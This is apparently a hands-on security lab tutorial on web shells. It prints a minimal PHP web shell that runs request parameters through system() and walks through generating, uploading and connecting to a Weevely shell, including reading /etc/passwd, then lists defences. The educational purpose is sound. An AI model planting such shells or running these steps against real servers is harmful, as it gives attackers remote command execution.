In this lab, you will learn about web shells, which are malicious scripts that allow attackers to gain unauthorized access to a web server. The goal of this lab is to understand what web shells are, how they work, and how to generate and use them with the Weevely tool. Additionally, you will learn about the potential risks associated with web shells and how to protect against them.
In this step, you will learn about the concept of web shells and their purpose.
A web shell, also known as a backdoor, is a script (typically written in PHP, ASP, JSP, or other web scripting languages) that provides remote access to a compromised web server. Attackers often upload web shells to the server after gaining initial access through vulnerabilities like file uploads, remote code execution, or other attack vectors. Once the web shell is in place, the attacker can execute arbitrary commands on the server by accessing the web shell through a web browser or other tools.
Web shells can be used for various malicious purposes, such as stealing data, installing malware, or launching further attacks on the compromised system or other systems connected to it.
Example of a simple PHP web shell:
<?php
if (isset($_REQUEST['cmd'])) {
$cmd = $_REQUEST['cmd'];
system($cmd);
}
?>This web shell accepts a cmd parameter in the URL, executes it using the system() function, and displays the output on the web page.
In this step, you will learn about Weevely, a tool used for generating and managing web shells.
Weevely is a popular web shell management tool written in Python. It is designed to generate and manage PHP web shells, allowing attackers to establish a secure and stealthy connection with the compromised server. Weevely provides a command-line interface for executing commands on the target server and performing various post-exploitation tasks.
To generate a web shell using Weevely, you can run the following command:
weevely generate <password> <output_file>Replace <password> with the desired password for connecting to the web shell, and <output_file> with the path and filename where you want to save the generated web shell.
Example:
weevely generate mysecretpassword /tmp/webshell.phpThis command will generate a web shell file named webshell.php in the /tmp directory, and the password required to connect to it will be mysecretpassword.
In this step, you will learn how to generate a web shell using Weevely.
Open a terminal and navigate to your desired directory.
Run the following command to generate a web shell with the password mysecretpassword:
weevely generate mysecretpassword webshell.phpThis command will create a file named webshell.php in the current directory, which you can upload to the target web server later.
cat webshell.phpYou will notice that the code inside webshell.php is obfuscated and difficult to read, which is a security feature of Weevely to make the web shell harder to detect.
In this step, you will learn how to upload the generated web shell to the target web server.
Assuming you have already identified and exploited a vulnerability on the target web server that allows file uploads, you can use this vulnerability to upload the webshell.php file generated in the previous step.
Locate the file upload functionality on the target web server's interface (e.g., a file upload form).
Select the webshell.php file from your local machine and upload it to the server.
Note the path or URL where the web shell was uploaded, as you will need this information to connect to the web shell later.
In this step, you will learn how to connect to the uploaded web shell using Weevely.
<target_url> with the URL or path where you uploaded the web shell, and <password> with the password you used to generate the web shell:weevely <target_url> <password>Example:
weevely http://target.example.com/uploads/webshell.php mysecretpasswordIf the connection is successful, you will see a Weevely prompt, indicating that you have obtained a remote shell on the target server.
You can now execute commands on the target server by typing them at the Weevely prompt.
Example:
weevely> pwd
/var/www/html
weevely> ls
index.php
webshell.phpIn this step, you will learn how to execute commands on the target server using the Weevely shell.
Example commands:
weevely> whoami
www-data
weevely> uname -a
Linux target-server 4.4.0-1092-aws #109~16.04.1-Ubuntu SMP Thu Oct 17 17:08:46 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
weevely> cat /etc/passwdWeevely also supports tab completion, which can help you navigate the file system and explore available commands.
When you're done executing commands, you can exit the Weevely shell by typing exit or pressing Ctrl+D.
In this step, you will learn about the potential risks and consequences associated with web shells.
Web shells pose a significant security risk to web servers and applications. Once a web shell is deployed on a server, attackers can gain persistent and privileged access, allowing them to perform various malicious activities, such as:
It is crucial to understand the potential risks and take appropriate measures to prevent web shell attacks and mitigate their impact.
In this step, you will learn about various techniques and best practices to mitigate the risk of web shell attacks.
Here are some effective strategies to protect your web servers and applications from web shell attacks:
Input Validation: Implement strict input validation on all user-supplied data to prevent the upload or execution of malicious files or code.
Secure File Uploads: Configure your web server to only allow uploads of specific file types (e.g., images, documents) and restrict the execution of uploaded files.
Web Application Firewalls (WAFs): Deploy a WAF to inspect incoming traffic and block known web shell payloads or suspicious activity.
Least Privilege Principle: Run your web server and applications with the minimum required privileges to limit the potential damage in case of a compromise.
Regular Patching and Updates: Keep your web server software, applications, and dependencies up-to-date with the latest security patches to address known vulnerabilities.
Security Monitoring: Implement security monitoring solutions to detect and respond to potential web shell attacks or suspicious activity.
Incident Response Plan: Develop and maintain an incident response plan to quickly contain and mitigate the impact of web shell attacks.
Secure Coding Practices: Train developers on secure coding practices and conduct regular code reviews to identify and fix potential vulnerabilities that could lead to web shell attacks.
Employee Awareness Training: Educate employees on web shell threats, social engineering tactics, and best practices for maintaining a secure environment.
By implementing these mitigation strategies, you can significantly reduce the risk of web shell attacks and improve the overall security posture of your web servers and applications.
In this lab, you learned about web shells, which are malicious scripts that allow attackers to gain unauthorized access to a web server. You explored the concept of web shells, the risks they pose, and the importance of protecting against them.
Throughout the lab, you used the Weevely tool to generate a web shell, upload it to a target server, and establish a remote connection to execute commands on the compromised system. Additionally, you learned about various mitigation strategies to prevent and respond to web shell attacks, such as input validation, secure file uploads, web application firewalls, and security monitoring.
By completing this lab, you gained practical experience in understanding and working with web shells, which is a critical aspect of web application security. This knowledge will help you better identify and mitigate potential web shell attacks in real-world scenarios, enhancing your overall cybersecurity skills.